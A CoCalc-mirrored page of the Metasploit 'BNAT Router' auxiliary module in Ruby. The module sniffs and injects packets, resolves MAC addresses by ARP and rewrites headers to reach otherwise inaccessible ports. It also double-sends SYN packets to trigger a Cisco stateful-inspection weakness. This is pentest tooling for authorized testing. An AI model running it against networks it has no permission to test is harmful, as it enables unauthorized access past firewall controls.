Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/bnat/bnat_router.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
def initialize
9
super(
10
'Name' => 'BNAT Router',
11
'Description' => %q{
12
This module will properly route BNAT traffic and allow for connections to be
13
established to machines on ports which might not otherwise be accessible.},
14
'Author' => [
15
'bannedit',
16
'Jonathan Claudius',
17
],
18
'License' => MSF_LICENSE,
19
'References' => [
20
['URL', 'https://github.com/claudijd/bnat' ],
21
['URL', 'http://www.slideshare.net/claudijd/dc-skytalk-bnat-hijacking-repairing-broken-communication-channels']
22
]
23
)
24
register_options(
25
[
26
OptString.new('OUTINF', [true, 'The external interface connected to the internet', 'eth1']),
27
OptString.new('ININF', [true, 'The internal interface connected to the network', 'eth2']),
28
OptString.new('CLIENTIP', [true, 'The ip of the client behind the BNAT router', '192.168.3.2']),
29
OptString.new('SERVERIP', [true, 'The ip of the server you are targeting', '1.1.2.1']),
30
OptString.new('BNATIP', [true, 'The ip of the bnat response you are getting', '1.1.2.2']),
31
]
32
)
33
end
34
35
def run
36
clientip = datastore['CLIENTIP']
37
serverip = datastore['SERVERIP']
38
bnatip = datastore['BNATIP']
39
outint = datastore['OUTINF']
40
inint = datastore['ININF']
41
42
clientmac = arp2(clientip, inint)
43
print_line("Obtained Client MAC: #{clientmac}")
44
servermac = arp2(serverip, outint)
45
print_line("Obtained Server MAC: #{servermac}")
46
bnatmac = arp2(bnatip, outint)
47
print_line("Obtained BNAT MAC: #{bnatmac}\n\n")
48
49
# Create Interface Specific Configs
50
outconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig(":#{outint}")).config
51
inconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig(":#{inint}")).config
52
53
# Set Captures for Traffic coming from Outside and from Inside respectively
54
outpcap = PacketFu::Capture.new(iface: outint.to_s, start: true, filter: "tcp and src #{bnatip}")
55
print_line("Now listening on #{outint}...")
56
57
inpcap = PacketFu::Capture.new(iface: inint.to_s, start: true, filter: "tcp and src #{clientip} and dst #{serverip}")
58
print_line("Now listening on #{inint}...\n\n")
59
60
# Start Thread from Outside Processing
61
fromout = Thread.new do
62
loop do
63
outpcap.stream.each do |pkt|
64
packet = PacketFu::Packet.parse(pkt)
65
66
# Build a shell packet that will never hit the wire as a hack to get desired mac's
67
shell_pkt = PacketFu::TCPPacket.new(config: inconfig, timeout: 0.1, flavor: 'Windows')
68
shell_pkt.ip_daddr = clientip
69
shell_pkt.recalc
70
71
# Mangle Received Packet and Drop on the Wire
72
packet.ip_saddr = serverip
73
packet.ip_daddr = clientip
74
packet.eth_saddr = shell_pkt.eth_saddr
75
packet.eth_daddr = clientmac
76
packet.recalc
77
inj = PacketFu::Inject.new(iface: inint.to_s, config: inconfig)
78
inj.a2w(array: [packet.to_s])
79
print_status('inpacket processed')
80
end
81
end
82
end
83
84
# Start Thread from Inside Processing
85
fromin = Thread.new do
86
loop do
87
inpcap.stream.each do |pkt|
88
packet = PacketFu::Packet.parse(pkt)
89
90
if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
91
packet.ip_daddr = serverip
92
packet.eth_daddr = servermac
93
else
94
packet.ip_daddr = bnatip
95
packet.eth_daddr = bnatmac
96
end
97
98
# Build a shell packet that will never hit the wire as a hack to get desired mac's
99
shell_pkt = PacketFu::TCPPacket.new(config: outconfig, timeout: 0.1, flavor: 'Windows')
100
shell_pkt.ip_daddr = serverip
101
shell_pkt.recalc
102
103
# Mangle Received Packet and Drop on the Wire
104
packet.eth_saddr = shell_pkt.eth_saddr
105
packet.ip_saddr = shell_pkt.ip_saddr
106
packet.recalc
107
inj = PacketFu::Inject.new(iface: outint.to_s, config: outconfig)
108
inj.a2w(array: [packet.to_s])
109
110
# Trigger Cisco SPI Vulnerability by Double-tapping the SYN
111
if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
112
select(nil, nil, nil, 0.75)
113
inj.a2w(array: [packet.to_s])
114
end
115
print_status('outpacket processed')
116
end
117
end
118
end
119
fromout.join
120
fromin.join
121
end
122
123
def arp2(target_ip, int)
124
config = PacketFu::Config.new(PacketFu::Utils.ifconfig(":#{int}")).config
125
arp_pkt = PacketFu::ARPPacket.new(flavor: 'Windows')
126
arp_pkt.eth_saddr = arp_pkt.arp_saddr_mac = config[:eth_saddr]
127
arp_pkt.eth_daddr = 'ff:ff:ff:ff:ff:ff'
128
arp_pkt.arp_daddr_mac = '00:00:00:00:00:00'
129
arp_pkt.arp_saddr_ip = config[:ip_saddr]
130
arp_pkt.arp_daddr_ip = target_ip
131
cap = PacketFu::Capture.new(iface: config[:iface], start: true, filter: "arp src #{target_ip} and ether dst #{arp_pkt.eth_saddr}")
132
injarp = PacketFu::Inject.new(iface: config[:iface])
133
injarp.a2w(array: [arp_pkt.to_s])
134
target_mac = nil
135
136
while target_mac.nil?
137
if cap.save > 0
138
arp_response = PacketFu::Packet.parse(cap.array[0])
139
target_mac = arp_response.arp_saddr_mac if arp_response.arp_saddr_ip == target_ip
140
end
141
select(nil, nil, nil, 0.1) # Check for a response ten times per second.
142
end
143
return target_mac
144
end
145
end
146
147